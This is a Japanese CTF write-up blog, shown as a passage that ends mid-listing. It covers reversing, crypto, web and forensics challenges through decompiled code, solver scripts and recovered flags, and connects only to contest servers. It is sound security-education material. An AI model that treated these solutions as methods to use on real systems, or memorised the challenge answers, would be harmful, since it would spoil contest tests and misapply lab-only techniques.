The Premium Flag costs $200000. Do you wish to purchase it? Enter 1 for yes.
1
[+] Congratulations!
Here's your flag: flag{YoU_4r3_a_G00d_Bus1ne5Sm$n}
flag{YoU_4r3_a_G00d_Bus1ne5Sm$n}

Baby rev (Reversing)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  int iVar1;
  FILE *__stream;
  undefined8 uVar2;
  long in_FS_OFFSET;
  undefined local_58 [72];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  iVar1 = directory_exists("/tmp/superSecretDirectory");
  if (iVar1 == 0) {
    puts("You don\'t meet my expectations, no flag for you!");
  }
  else {
    iVar1 = file_exists("/tmp/superSecretDirectory/SuperDuperSecretFlag.txt");
    if (iVar1 == 0) {
      puts("You don\'t meet part of my expectations, so no flag.");
    }
    else {
      reveal_flag(local_58,0x40);
      __stream = fopen("/tmp/superSecretDirectory/SuperDuperSecretFlag.txt","w");
      if (__stream == (FILE *)0x0) {
        perror("I can\'t open the file.");
        uVar2 = 1;
        goto LAB_0010146a;
      }
      fprintf(__stream,"%s\n",local_58);
      fclose(__stream);
      puts("Flag written!");
    }
  }
  uVar2 = 0;
LAB_0010146a:
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return uVar2;
}

void reveal_flag(long param_1,ulong param_2)

{
  ulong local_18;
  
  if (param_2 < 0x1d) {
    fwrite("Buffer too small.\n",1,0x12,stderr);
  }
  else {
    for (local_18 = 0; local_18 < 0x1d; local_18 = local_18 + 1) {
      *(byte *)(local_18 + param_1) = encrypted_flag[local_18] ^ 0x20;
    }
  }
  return;
}

/tmp/superSecretDirectory/SuperDuperSecretFlag.txtが存在している場合、そこにフラグが書き出される。

$ mkdir /tmp/superSecretDirectory
$ touch /tmp/superSecretDirectory/SuperDuperSecretFlag.txt
$ ./expectations                                          
Flag written!
$ cat /tmp/superSecretDirectory/SuperDuperSecretFlag.txt     
flag{H3rE_15_Y0uR_R3ew4rd!!}
flag{H3rE_15_Y0uR_R3ew4rd!!}

Poke 2: Can you defeat Gary? (Reversing)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  int iVar1;
  time_t tVar2;
  
  tVar2 = time((time_t *)0x0);
  srand((uint)tVar2);
  puts(&DAT_00402638);
  puts("Gary has Sandslash (HP: 95), you have Pikachu (HP: 10).");
  puts("\nYou have 1 second for every choice.");
LAB_00401ba0:
  while( true ) {
    show_main_menu();
    iVar1 = get_valid_option(1,4,1);
    if (iVar1 != 4) break;
    puts("\nYou can\'t run from this battle!");
  }
  if (iVar1 < 5) {
    if (iVar1 == 3) {
      show_items();
      iVar1 = get_valid_option(1,7,1);
      if (((0 < iVar1) && (iVar1 < 7)) && (iVar1 = use_item(iVar1 + -1), iVar1 != 0)) {
        gary_turn();
      }
      goto LAB_00401ba0;
    }
    if (iVar1 < 4) {
      if (iVar1 == 1) {
        show_moves();
        iVar1 = get_valid_option(1,5,1);
        if ((0 < iVar1) && (iVar1 < 5)) {
          pikachu_attack();
          if (sandslash_hp < 2) {
            puts("\nYou\'ve won the battle!");
            return 0;
          }
          gary_turn();
        }
      }
      else {
        if (iVar1 != 2) goto LAB_00401d30;
        show_pokemons();
        iVar1 = get_valid_option(1,6,1);
        if ((0 < iVar1) && (iVar1 < 6)) {
          printf("\nYou can\'t switch to %s, it\'s fainted.\n",
                 *(undefined8 *)(fainted_pokemons + (long)(iVar1 + -1) * 8));
        }
      }
      goto LAB_00401ba0;
    }
  }
LAB_00401d30:
  puts("\nInvalid option, try again.");
  goto LAB_00401ba0;
}

void pikachu_attack(void)

{
  uint uVar1;
  int iVar2;
  
  iVar2 = rand();
  uVar1 = iVar2 % 0x32 + 1;
  sandslash_hp = sandslash_hp - uVar1;
  if ((int)sandslash_hp < 1) {
    sandslash_hp = 1;
  }
  printf("\nPikachu used an attack! Sandslash took %d damage. Sandslash HP: %d\n",(ulong)uVar1,
         (ulong)sandslash_hp);
  return;
}

ulong use_item(int param_1)

{
  int iVar1;
  ulong uVar2;
  int local_c;
  
  printf(&DAT_004023c8,*(undefined8 *)(items + (long)param_1 * 8));
  for (local_c = 0; local_c < 5; local_c = local_c + 1) {
    printf("%d. %s (fainted)\n",(ulong)(local_c + 1),
           *(undefined8 *)(fainted_pokemons + (long)local_c * 8));
  }
  puts("6. Pikachu");
  puts("8. Back");
  uVar2 = get_valid_option(1,8,1);
  iVar1 = (int)uVar2;
  if (((0 < iVar1) && (iVar1 < 6)) &&
     (uVar2 = (ulong)*(uint *)(fainted + (long)(iVar1 + -1) * 4),
     *(uint *)(fainted + (long)(iVar1 + -1) * 4) != 0)) {
    printf("You can\'t use %s on %s, it\'s fainted.\n",*(undefined8 *)(items + (long)param_1 * 8),
           *(undefined8 *)(fainted_pokemons + (long)(iVar1 + -1) * 8));
    return 0;
  }
  if (iVar1 == 6) {
    printf("\nYou used %s on Pikachu.\n",*(undefined8 *)(items + (long)param_1 * 8));
    if (param_1 == 0) {
      pikachu_hp = pikachu_hp + 0x14;
      if (100 < pikachu_hp) {
        pikachu_hp = 100;
      }
    }
    else if (param_1 == 2) {
      pikachu_hp = pikachu_hp + 0x32;
      if (100 < pikachu_hp) {
        pikachu_hp = 100;
      }
    }
    else if (param_1 == 3) {
      pikachu_hp = 100;
    }
    else {
      if ((param_1 == 1) || (param_1 == 5)) {
        puts("This item has no effect.");
        return 0;
      }
      if (param_1 == 4) {
        puts("Pikachu is confused. You lose your turn.");
      }
    }
    uVar2 = 1;
  }
  else {
    if ((iVar1 == 7) && (param_1 == 4)) {
      uVar2 = win();
    }
    if (iVar1 == 7) {
      printf("You can\'t use %s on Sandslash.\n",*(undefined8 *)(items + (long)param_1 * 8));
      uVar2 = 0;
    }
  }
  return uVar2;
}

void win(void)

{
  printf("\nYou used %s on Sandslash.\n",items._32_8_);
  puts("Sandslash\'s HP restored to 100...");
  sleep(1);
  puts("Sandslash... feels sleepy... is confused... ");
  sleep(1);
  puts("Sandslash fainted");
  sleep(0);
  puts("Ash wins the battle!");
  printf(&DAT_00402388);
  read_flag();
                    /* WARNING: Subroutine does not return */
  exit(0);
}

use_item関数で引数に4を指定して、関数内で7を指定したときにwin関数が呼び出される。このためにはmain関数内で3, 5の順に指定すればよい。

$ nc pokemaster.ctf.cert.unlp.edu.ar 35001
3
5
7
You're in a Pokémon battle against Gary to determine the league champion!
Gary has Sandslash (HP: 95), you have Pikachu (HP: 10).

You have 1 second for every choice.

What do you want to do?
1. Attack
2. Change Pokémon
3. Use item
4. Run

> 
Available items:
1. Potion - Restores 20 HP of a Pokémon's health
2. Antidote - Cures the poisoned state
3. Fresh water - Restores 50 HP of a Pokémon's health, don't confuse with the other
4. Max potion - Restores all HP
5. Branco's container - Eh: https://tinyurl.com/4hpeuztv
6. More PP - Adds more PP to a move
7. Back

> 
Which Pokémon do you want to use Branco's container on?
1. Charizard (fainted)
2. Venusaur (fainted)
3. Blastoise (fainted)
4. Butterfree (fainted)
5. Pidgeot (fainted)
6. Pikachu
8. Back

> 
You used Branco's container on Sandslash.
Sandslash's HP restored to 100...
Sandslash... feels sleepy... is confused... 
Sandslash fainted
Ash wins the battle!
You are the best Pokémon trainer ever, you deserve this: flag{Alw4ys_lO0k_foR_Your_1nNer_Bilardo}
flag{Alw4ys_lO0k_foR_Your_1nNer_Bilardo}

Baguette Cipher (Crypto)

Vigenere暗号と推測し、https://www.dcode.fr/vigenere-cipherで復号する。このときフラグは"flag"から始まることを前提に鍵を求め、復号する。
鍵は"UNLP"で復号できた。

flag{w3lC0mee_Fr0m_UNLP_Arg}

XOR 2: FibMODnacci (Crypto)

フィボナッチ数列の256の剰余とのXORでフラグを復号する。

#!/usr/bin/env python3
def fib_l(cnt):
    a, b = 0, 1
    fib_l=[]
    while cnt:
        cnt -= 1
        fib_l.append(b)
        a, b = b, a + b
    return fib_l

enc = '676d63647e5f627a4d580ecfbe1c0eb779283b5eef68c24e204411009455'
enc = bytes.fromhex(enc)

key = fib_l(len(enc))

flag = ''
for i in range(len(enc)):
    flag += chr(enc[i] ^ (key[i] % 256))
print(flag)
flag{WooooW_WellD0n3-G3n1uSs!}

The biggest (Crypto)

Python標準の場合、pを計算するのに時間がかかるので、sageで計算し、keyを求める。あとはnonce, tagもわかっているので、AES GCMモードの暗号を復号できる。

#!/usr/bin/env sage
from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes, bytes_to_long

n = ((((((42 * 17 + 50 ** 2) * 1000) // 3) * 7 + sum(range(1, 101))) * 123) + -786759022)
p = (1 << n) - 1
p = str(p)
key = p[1000000:1000032]

print('[+] key:', key)

with open('output.txt', 'r') as f:
    params = f.read().splitlines()

nonce = bytes.fromhex(params[0].split(': ')[1])
ciphertext = bytes.fromhex(params[1].split(': ')[1])
tag = bytes.fromhex(params[2].split(': ')[1])

cipher = AES.new(key.encode(), AES.MODE_GCM, nonce)
flag = cipher.decrypt_and_verify(ciphertext, tag).decode()
print('[*] flag:', flag)

実行結果は以下の通り。

[+] key: 32100200577622542397816774470404
[*] flag: flag{B1gg3st_Pr1m3_3v3r!}
flag{B1gg3st_Pr1m3_3v3r!}

XOR 3: Bugbounty description (Crypto)

試しに"flag{"とXORしてみる。

>>> chr(ord('f') ^ 0x27)
'A'
>>> chr(ord('l') ^ 0x4c)
' '
>>> chr(ord('a') ^ 0x03)
'b'
>>> chr(ord('g') ^ 0x12)
'u'
>>> chr(ord('{') ^ 0x1c)
'g'

文章になりそう。以下の文章を参考にXOR鍵を求める。
https://en.wikipedia.org/wiki/Bug_bounty_program

#!/usr/bin/env python3
from Crypto.Util.strxor import strxor

with open('challenge.txt', 'r') as f:
    ct = f.read().replace('\n', '')

ct = bytes.fromhex(ct)

flag_head = b'flag{'
pt_head = strxor(ct[:len(flag_head)], flag_head).decode()
print('[+] pt head:', pt_head)

# guess
pt = pt_head + ' bounty program is a'
flag = strxor(ct[:len(pt)], pt.encode()).decode()
print('[*] flag:', flag)

XOR鍵がフラグで、実行結果は以下の通り。

[+] pt head: A bug
[*] flag: flag{C3rTUNlP_2024_fflag}
flag{C3rTUNlP_2024_fflag}

RSA Keys (Crypto)

複数のRSA公開鍵のnの公約数が1より大きいものを探し、素因数分解する。あとは通常通り復号する。

#!/usr/bin/env python3
from Crypto.PublicKey import RSA
from Crypto.Util.number import *
import itertools

ns = []
for i in range(25):
    fname = 'challenge/public-%d.txt' % i
    with open(fname, 'r') as f:
        pub_data = f.read()

    pubkey = RSA.importKey(pub_data)
    n = pubkey.n
    e = pubkey.e
    assert e == 65537

    ns.append(n)

e = 65537

for (n0, n1) in list(itertools.combinations(ns, 2)):
    p = GCD(n0, n1)
    if p > 1:
        idx = ns.index(n0)
        q = n0 // p
        break

phi = (p - 1) * (q - 1)
d = inverse(e, phi)

ct_fname = 'challenge/ciph-%d.txt' % idx

with open(ct_fname, 'rb') as f:
    c = bytes_to_long(f.read())

m = pow(c, d, n0)
flag = long_to_bytes(m).decode()
print(flag)
flag{LosPrimosSeanUnidos}

USC CTF Fall 2024 Writeup

この大会は2024/11/2 12:00(JST)~2024/11/4 13:00(JST)に開催されました。
この大会は個人戦。結果は6548点で797人中27位でした。
自分で解けた問題をWriteupとして書いておきます。

welcome (welcome)

添付のflag.txtにフラグが書いてあった。

CYBORG{lets_go}

colors (crypto) (beginner)

base64デコードすると、"30"と"31"、"20"がスペース区切りで並んでいるので、hexデコードする。8桁ごとの2進数文字列になるので、デコードすると、フラグになった。

#!/usr/bin/env python3
from base64 import *

with open('message.txt', 'r') as f:
    ct = f.read()

ct = b64decode(ct).decode()
print('[+]', ct)

ct = ''.join([chr(int(c, 16)) for c in ct.split(' ')])
print('[+]', ct)

flag = ''.join([chr(int(c, 2)) for c in ct.split(' ')])
print('[*]', flag)

実行結果は以下の通り。

[+] 30 31 30 30 30 30 31 31 20 30 31 30 31 31 30 30 31 20 30 31 30 30 30 30 31 30 20 30 31 30 30 31 31 31 31 20 30 31 30 31 30 30 31 30 20 30 31 30 30 30 31 31 31 20 30 31 31 31 31 30 31 31 20 30 31 31 31 30 31 30 30 20 30 31 30 31 30 30 31 30 20 30 30 31 31 30 30 30 30 20 30 31 31 30 31 30 31 30 20 30 31 31 30 30 30 30 31 20 30 31 31 30 31 31 31 30 20 30 31 31 31 30 30 31 31 20 30 31 30 31 31 31 31 31 20 30 31 31 30 31 31 30 30 20 30 31 31 30 31 31 31 31 20 30 31 31 31 30 31 31 30 20 30 31 31 30 30 31 30 31 20 30 31 30 31 31 31 31 31 20 30 31 30 30 30 30 31 31 20 30 30 31 31 30 31 30 30 20 30 31 31 31 30 30 31 30 20 30 31 31 30 30 31 30 30 20 30 31 31 30 31 30 30 31 20 30 31 31 30 31 31 31 30 20 30 31 31 30 30 30 30 31 20 30 31 31 30 31 31 30 30 20 30 31 30 31 31 31 31 31 20 30 31 30 30 30 30 30 30 20 30 31 31 30 31 31 31 30 20 30 31 31 30 30 31 30 30 20 30 31 30 31 31 31 31 31 20 30 31 30 30 30 31 31 31 20 30 30 31 31 30 30 30 30 20 30 31 31 30 31 31 30 30 20 30 31 31 30 30 31 30 30 20 30 31 31 31 31 31 30 31
[+] 01000011 01011001 01000010 01001111 01010010 01000111 01111011 01110100 01010010 00110000 01101010 01100001 01101110 01110011 01011111 01101100 01101111 01110110 01100101 01011111 01000011 00110100 01110010 01100100 01101001 01101110 01100001 01101100 01011111 01000000 01101110 01100100 01011111 01000111 00110000 01101100 01100100 01111101
[*] CYBORG{tR0jans_love_C4rdinal_@nd_G0ld}
CYBORG{tR0jans_love_C4rdinal_@nd_G0ld}

weirdtraffic (forensics) (beginner)

pcapファイルが添付されているので、Wiresharkで開く。すべてICMPの通信になっている。パケット数が少ないので、1つずつ見てみる。No.21のパケットにフラグが書いてあった。

CYBORG{hping3-is-a-cool-tool}

iRobots (web) (beginner)

HTMLソースを見ると、以下のように書いてある。

    <script>
        function checkPassword(event) {
            event.preventDefault();
            const passwordInput = document.getElementById("password").value;
            const correctPassword = "as1m0v";

            if (passwordInput === correctPassword) {
                window.location.href = "secret.html";
            } else {
                document.getElementById("error-message").textContent = "Incorrect password. Try again.";
            }
        }
    </script>

Passwordに"as1m0v"を入力してSubmitすると、以下のように表示された。

Secret Page
Congrats! You've found the secret page. But you may have got here because a web scraper found this page first and let your favorite search engine know. Luckily our flag won't appear on your search engine :D

https://usc-irobots.chals.io/robots.txtにアクセスすると、以下のように表示された。

User-agent: *
Disallow: /hidden/flag.txt

https://usc-irobots.chals.io/hidden/flag.txtにアクセスすると、フラグが表示された。

CYBORG{robots_txt_is_fun}

concoction (rev) (beginner)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  bool bVar1;
  basic_ostream *pbVar2;
  int *piVar3;
  long in_FS_OFFSET;
  int local_d0;
  int local_cc;
  int local_c8;
  int local_c4;
  int local_c0;
  int local_bc;
  int local_b8;
  int local_b4;
  int local_b0;
  int local_ac;
  int *local_a8;
  int *local_a0;
  int **local_98;
  int *local_90;
  int **local_88;
  int *local_80;
  int *local_78;
  undefined8 local_70;
  int local_68;
  int local_64;
  int local_60;
  int local_5c;
  int local_58;
  int local_54;
  basic_string local_48 [40];
  long local_20;
  
  local_20 = *(long *)(in_FS_OFFSET + 0x28);
  pbVar2 = std::operator<<((basic_ostream *)std::cout,"Time to make a ghastly cyberbrew!");
  std::basic_ostream<char,std::char_traits<char>>::operator<<
            ((basic_ostream<char,std::char_traits<char>> *)pbVar2,
             std::endl<char,std::char_traits<char>>);
  pbVar2 = std::operator<<((basic_ostream *)std::cout,
                           "Tell me how much of each ingredient to put in.");
  std::basic_ostream<char,std::char_traits<char>>::operator<<
            ((basic_ostream<char,std::char_traits<char>> *)pbVar2,
             std::endl<char,std::char_traits<char>>);
  local_d0 = 0;
  local_cc = 0;
  local_c8 = 0;
  local_c4 = 0;
  local_c0 = 0;
  local_bc = 0;
  local_b8 = 0;
  pbVar2 = std::operator<<((basic_ostream *)std::cout,"How many crypto crickets? (int)");
  std::basic_ostream<char,std::char_traits<char>>::operator<<
            ((basic_ostream<char,std::char_traits<char>> *)pbVar2,
             std::endl<char,std::char_traits<char>>);
  std::basic_istream<char,std::char_traits<char>>::operator>>
            ((basic_istream<char,std::char_traits<char>> *)std::cin,&local_d0);
  pbVar2 = std::operator<<((basic_ostream *)std::cout,"How many forensics fungi? (int)");
  std::basic_ostream<char,std::char_traits<char>>::operator<<
            ((basic_ostream<char,std::char_traits<char>> *)pbVar2,
             std::endl<char,std::char_traits<char>>);
  std::basic_istream<char,std::char_traits<char>>::operator>>
            ((basic_istream<char,std::char_traits<char>> *)std::cin,&local_cc);
  pbVar2 = std::operator<<((basic_ostream *)std::cout,"How many osint oreos? (int)");
  std::basic_ostream<char,std::char_traits<char>>::operator<<
            ((basic_ostream<char,std::char_traits<char>> *)pbVar2,
             std::endl<char,std::char_traits<char>>);
  std::basic_istream<char,std::char_traits<char>>::operator>>
            ((basic_istream<char,std::char_traits<char>> *)std::cin,&local_c8);
  pbVar2 = std::operator<<((basic_ostream *)std::cout,"How many plants of pwn? (int)");
  std::basic_ostream<char,std::char_traits<char>>::operator<<
            ((basic_ostream<char,std::char_traits<char>> *)pbVar2,
             std::endl<char,std::char_traits<char>>);
  std::basic_istream<char,std::char_traits<char>>::operator>>
            ((basic_istream<char,std::char_traits<char>> *)std::cin,&local_c4);
  pbVar2 = std::operator<<((basic_ostream *)std::cout,"How many rev redcaps? (int)");
  std::basic_ostream<char,std::char_traits<char>>::operator<<
            ((basic_ostream<char,std::char_traits<char>> *)pbVar2,
             std::endl<char,std::char_traits<char>>);
  std::basic_istream<char,std::char_traits<char>>::operator>>
            ((basic_istream<char,std::char_traits<char>> *)std::cin,&local_c0);
  pbVar2 = std::operator<<((basic_ostream *)std::cout,"How many cobwebs? (int)");
  std::basic_ostream<char,std::char_traits<char>>::operator<<
            ((basic_ostream<char,std::char_traits<char>> *)pbVar2,
             std::endl<char,std::char_traits<char>>);
  std::basic_istream<char,std::char_traits<char>>::operator>>
            ((basic_istream<char,std::char_traits<char>> *)std::cin,&local_bc);
  pbVar2 = std::operator<<((basic_ostream *)std::cout,"How many ounces of water? (int)");
  std::basic_ostream<char,std::char_traits<char>>::operator<<
            ((basic_ostream<char,std::char_traits<char>> *)pbVar2,
             std::endl<char,std::char_traits<char>>);
  std::basic_istream<char,std::char_traits<char>>::operator>>
            ((basic_istream<char,std::char_traits<char>> *)std::cin,&local_b8);
  std::basic_istream<char,std::char_traits<char>>::ignore();
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string();
                    /* try { // try from 001015af to 00101d36 has its CatchHandler @ 00101d59 */
  pbVar2 = std::operator<<((basic_ostream *)std::cout,"What secret ingredient? (string)");
  std::basic_ostream<char,std::char_traits<char>>::operator<<
            ((basic_ostream<char,std::char_traits<char>> *)pbVar2,
             std::endl<char,std::char_traits<char>>);
  std::getline<char,std::char_traits<char>,std::allocator<char>>((basic_istream *)std::cin,local_48)
  ;
  local_b4 = 0;
  local_b0 = 0;
  local_70 = 6;
  local_68 = local_d0;
  local_64 = local_cc;
  local_60 = local_c8;
  local_5c = local_c4;
  local_58 = local_c0;
  local_54 = local_bc;
  local_78 = &local_68;
  local_98 = &local_78;
  local_a8 = (int *)std::initializer_list<int>::begin((initializer_list<int> *)local_98);
  local_90 = (int *)std::initializer_list<int>::end((initializer_list<int> *)local_98);
  for (; local_a8 != local_90; local_a8 = local_a8 + 1) {
    local_ac = *local_a8;
    piVar3 = std::max<int>(&local_b4,&local_ac);
    local_b4 = *piVar3;
  }
  local_70 = 6;
  local_68 = local_d0;
  local_64 = local_cc;
  local_60 = local_c8;
  local_5c = local_c4;
  local_58 = local_c0;
  local_54 = local_bc;
  local_78 = &local_68;
  local_88 = &local_78;
  local_a0 = (int *)std::initializer_list<int>::begin((initializer_list<int> *)local_88);
  local_80 = (int *)std::initializer_list<int>::end((initializer_list<int> *)local_88);
  for (; local_a0 != local_80; local_a0 = local_a0 + 1) {
    local_ac = *local_a0;
    if (local_ac < local_b4) {
      piVar3 = std::max<int>(&local_b0,&local_ac);
      local_b0 = *piVar3;
    }
  }
  if (local_b4 == 0) {
    if (local_b8 < 1) {
      pbVar2 = std::operator<<((basic_ostream *)std::cout,"You created... nothing.");
      std::basic_ostream<char,std::char_traits<char>>::operator<<
                ((basic_ostream<char,std::char_traits<char>> *)pbVar2,
                 std::endl<char,std::char_traits<char>>);
    }
    else {
      pbVar2 = std::operator<<((basic_ostream *)std::cout,"You poured a nice glass of water.");
      std::basic_ostream<char,std::char_traits<char>>::operator<<
                ((basic_ostream<char,std::char_traits<char>> *)pbVar2,
                 std::endl<char,std::char_traits<char>>);
    }
  }
  else if (local_b8 < 1) {
    pbVar2 = std::operator<<((basic_ostream *)std::cout,"You created a salad.");
    std::basic_ostream<char,std::char_traits<char>>::operator<<
              ((basic_ostream<char,std::char_traits<char>> *)pbVar2,
               std::endl<char,std::char_traits<char>>);
  }
  else if (local_b4 == local_d0) {
    if ((local_b0 == local_cc) && (0 < local_cc)) {
      pbVar2 = std::operator<<((basic_ostream *)std::cout,"You created a draught of decoding :}");
      std::basic_ostream<char,std::char_traits<char>>::operator<<
                ((basic_ostream<char,std::char_traits<char>> *)pbVar2,
                 std::endl<char,std::char_traits<char>>);
    }
    else if ((local_b0 == local_bc) && (0 < local_bc)) {
      pbVar2 = std::operator<<((basic_ostream *)std::cout,"You created a slosh of secure sending :}"
                              );
      std::basic_ostream<char,std::char_traits<char>>::operator<<
                ((basic_ostream<char,std::char_traits<char>> *)pbVar2,
                 std::endl<char,std::char_traits<char>>);
    }
    else {
      pbVar2 = std::operator<<((basic_ostream *)std::cout,"You created an elixir of encoding :}");
      std::basic_ostream<char,std::char_traits<char>>::operator<<
                ((basic_ostream<char,std::char_traits<char>> *)pbVar2,
                 std::endl<char,std::char_traits<char>>);
    }
  }
  else if (local_b4 == local_cc) {
    if ((local_b0 == local_c8) && (0 < local_c8)) {
      pbVar2 = std::operator<<((basic_ostream *)std::cout,"You created an ichor of investigation :}"
                              );
      std::basic_ostream<char,std::char_traits<char>>::operator<<
                ((basic_ostream<char,std::char_traits<char>> *)pbVar2,
                 std::endl<char,std::char_traits<char>>);
    }
    else {
      pbVar2 = std::operator<<((basic_ostream *)std::cout,"You created an infusion of forensics :}")
      ;
      std::basic_ostream<char,std::char_traits<char>>::operator<<
                ((basic_ostream<char,std::char_traits<char>> *)pbVar2,
                 std::endl<char,std::char_traits<char>>);
    }
  }
  else if (local_b4 == local_c8) {
    pbVar2 = std::operator<<((basic_ostream *)std::cout,"You created a goo of googling :}");
    std::basic_ostream<char,std::char_traits<char>>::operator<<
              ((basic_ostream<char,std::char_traits<char>> *)pbVar2,
               std::endl<char,std::char_traits<char>>);
  }
  else if ((local_b4 == local_c4) || (local_b4 == local_c0)) {
    if (((((local_d0 == 0x1eea) && (local_cc == 0x1b1fc)) && (local_c8 == 0x906)) &&
        ((local_c4 == 0xc889 && (local_c0 == 0x283389e)))) &&
       ((local_bc == 0x2397 && (bVar1 = std::operator==(local_48,"decompiler"), bVar1)))) {
      bVar1 = true;
    }
    else {
      bVar1 = false;
    }
    if (bVar1) {
      pbVar2 = std::operator<<((basic_ostream *)std::cout,
                               "You created a philter of flag charming :}");
      std::basic_ostream<char,std::char_traits<char>>::operator<<
                ((basic_ostream<char,std::char_traits<char>> *)pbVar2,
                 std::endl<char,std::char_traits<char>>);
      pbVar2 = std::operator<<((basic_ostream *)std::cout,"CYBORG{RECIPE=");
      pbVar2 = (basic_ostream *)
               std::basic_ostream<char,std::char_traits<char>>::operator<<
                         ((basic_ostream<char,std::char_traits<char>> *)pbVar2,local_d0);
      pbVar2 = std::operator<<(pbVar2,"-");
      pbVar2 = (basic_ostream *)
               std::basic_ostream<char,std::char_traits<char>>::operator<<
                         ((basic_ostream<char,std::char_traits<char>> *)pbVar2,local_cc);
      pbVar2 = std::operator<<(pbVar2,"-");
      pbVar2 = (basic_ostream *)
               std::basic_ostream<char,std::char_traits<char>>::operator<<
                         ((basic_ostream<char,std::char_traits<char>> *)pbVar2,local_c8);
      pbVar2 = std::operator<<(pbVar2,"-");
      pbVar2 = (basic_ostream *)
               std::basic_ostream<char,std::char_traits<char>>::operator<<
                         ((basic_ostream<char,std::char_traits<char>> *)pbVar2,local_c4);
      pbVar2 = std::operator<<(pbVar2,"-");
      pbVar2 = (basic_ostream *)
               std::basic_ostream<char,std::char_traits<char>>::operator<<
                         ((basic_ostream<char,std::char_traits<char>> *)pbVar2,local_c0);
      pbVar2 = std::operator<<(pbVar2,"-");
      pbVar2 = (basic_ostream *)
               std::basic_ostream<char,std::char_traits<char>>::operator<<
                         ((basic_ostream<char,std::char_traits<char>> *)pbVar2,local_bc);
      pbVar2 = std::operator<<(pbVar2,"-");
      pbVar2 = std::operator<<(pbVar2,local_48);
      pbVar2 = std::operator<<(pbVar2,"}");
      std::basic_ostream<char,std::char_traits<char>>::operator<<
                ((basic_ostream<char,std::char_traits<char>> *)pbVar2,
                 std::endl<char,std::char_traits<char>>);
    }
    else if ((local_b0 == local_d0) && (0 < local_d0)) {
      pbVar2 = std::operator<<((basic_ostream *)std::cout,
                               "You created a balsam of buried secrets :}");
      std::basic_ostream<char,std::char_traits<char>>::operator<<
                ((basic_ostream<char,std::char_traits<char>> *)pbVar2,
                 std::endl<char,std::char_traits<char>>);
    }
    else {
      pbVar2 = std::operator<<((basic_ostream *)std::cout,
                               "You created a salve of shattered secrets :}");
      std::basic_ostream<char,std::char_traits<char>>::operator<<
                ((basic_ostream<char,std::char_traits<char>> *)pbVar2,
                 std::endl<char,std::char_traits<char>>);
    }
  }
  else if (local_b4 == local_bc) {
    if ((local_b0 == local_c4) && (0 < local_c4)) {
      pbVar2 = std::operator<<((basic_ostream *)std::cout,
                               "You created an essence of exploitation :}");
      std::basic_ostream<char,std::char_traits<char>>::operator<<
                ((basic_ostream<char,std::char_traits<char>> *)pbVar2,
                 std::endl<char,std::char_traits<char>>);
    }
    else {
      pbVar2 = std::operator<<((basic_ostream *)std::cout,"You created a tonic of TCP :}");
      std::basic_ostream<char,std::char_traits<char>>::operator<<
                ((basic_ostream<char,std::char_traits<char>> *)pbVar2,
                 std::endl<char,std::char_traits<char>>);
    }
  }
  else {
    pbVar2 = std::operator<<((basic_ostream *)std::cout,"You created a mysterious smoothie :}");
    std::basic_ostream<char,std::char_traits<char>>::operator<<
              ((basic_ostream<char,std::char_traits<char>> *)pbVar2,
               std::endl<char,std::char_traits<char>>);
  }
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string
            ((basic_string<char,std::char_traits<char>,std::allocator<char>> *)local_48);
  if (local_20 == *(long *)(in_FS_OFFSET + 0x28)) {
    return 0;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

以下の部分に条件がある。

  else if ((local_b4 == local_c4) || (local_b4 == local_c0)) {
    if (((((local_d0 == 0x1eea) && (local_cc == 0x1b1fc)) && (local_c8 == 0x906)) &&
        ((local_c4 == 0xc889 && (local_c0 == 0x283389e)))) &&
       ((local_bc == 0x2397 && (bVar1 = std::operator==(local_48,"decompiler"), bVar1)))) {

入力順で以下の値を指定する必要がある。

・How many crypto crickets? (int)
 →local_d0 = 0x1eea = 7914
・How many forensics fungi? (int)
 →local_cc = 0x1b1fc = 111100
・How many osint oreos? (int)
 →local_c8 = 0x906 = 2310
・How many plants of pwn? (int)
 →local_c4 = 0xc889 = 51337
・How many rev redcaps? (int)
 →local_c0 = 0x283389e = 42154142
・How many cobwebs? (int)
 →local_bc = 0x2397 = 9111
・What secret ingredient? (string)
 →local_48 = "decompiler"

上記の値を入力すればフラグが得られる。なお「How many ounces of water? (int)」の値は正の整数値であれば何でもよい。

実行結果は以下の通り。

$ ./concoction                                
Time to make a ghastly cyberbrew!
Tell me how much of each ingredient to put in.
How many crypto crickets? (int)
7914
How many forensics fungi? (int)
111100
How many osint oreos? (int)
2310
How many plants of pwn? (int)
51337
How many rev redcaps? (int)
42154142
How many cobwebs? (int)
9111
How many ounces of water? (int)
1
What secret ingredient? (string)
decompiler
You created a philter of flag charming :}
CYBORG{RECIPE=7914-111100-2310-51337-42154142-9111-decompiler}
CYBORG{RECIPE=7914-111100-2310-51337-42154142-9111-decompiler}

Redwoods (misc)

jadx-guiデコンパイルする。

package defpackage;

import java.util.Scanner;

/* renamed from: Main  reason: default package */
/* loaded from: redwoods_meditation.jar:Main.class */
public class Main {
    static Scanner sc;
    static String[] flags = {"ccccccccccagccccccchdbgdddehcccccagcccchdbgccehcccccagddddhdbgdddehgcccccccccccccecccedddddddd", "dddeagcgchhdbcccccagcccccccccchdbgccegcedddeddddeccccccccccccccccceddddddddddddddehhccccccaggccccchhdbggdddeddddddddddde", "ddehhccccccaggdddddhhdbggdeehhcccccccccccaggcccchhdbggehhcccccaggdddddhhdbggeagcgchhdbabccccccaggdddhhdbggehcccccceehhcce"};
    static boolean animalSpeaking = false;

    public static void main(String[] args) {
        int i;
        sc = new Scanner(System.in);
        System.out.println("You are wandering through the woods to clear your mind, escape the concrete barriers of the modern world, and find enlightenment in what is known as a flag.");
        System.out.println();
        int location = 0;
        int trailMix = 3;
        boolean[] visited = new boolean[10];
        while (true) {
            int enterLoc = location;
            if (location == 0) {
                if (!visited[0]) {
                    System.out.println("You come across a climbable tree, but could also simply continue further.");
                } else {
                    System.out.println("You are at the base of the tree, and see a route leading into the depths of the forest.");
                }
                int c = getChoice("Climb the tree", "Venture further", "Leave");
                switch (c) {
                    case 1:
                        location = 1;
                        continue;
                    case 2:
                        location = 2;
                        continue;
                    case 3:
                        System.exit(0);
                        continue;
                }
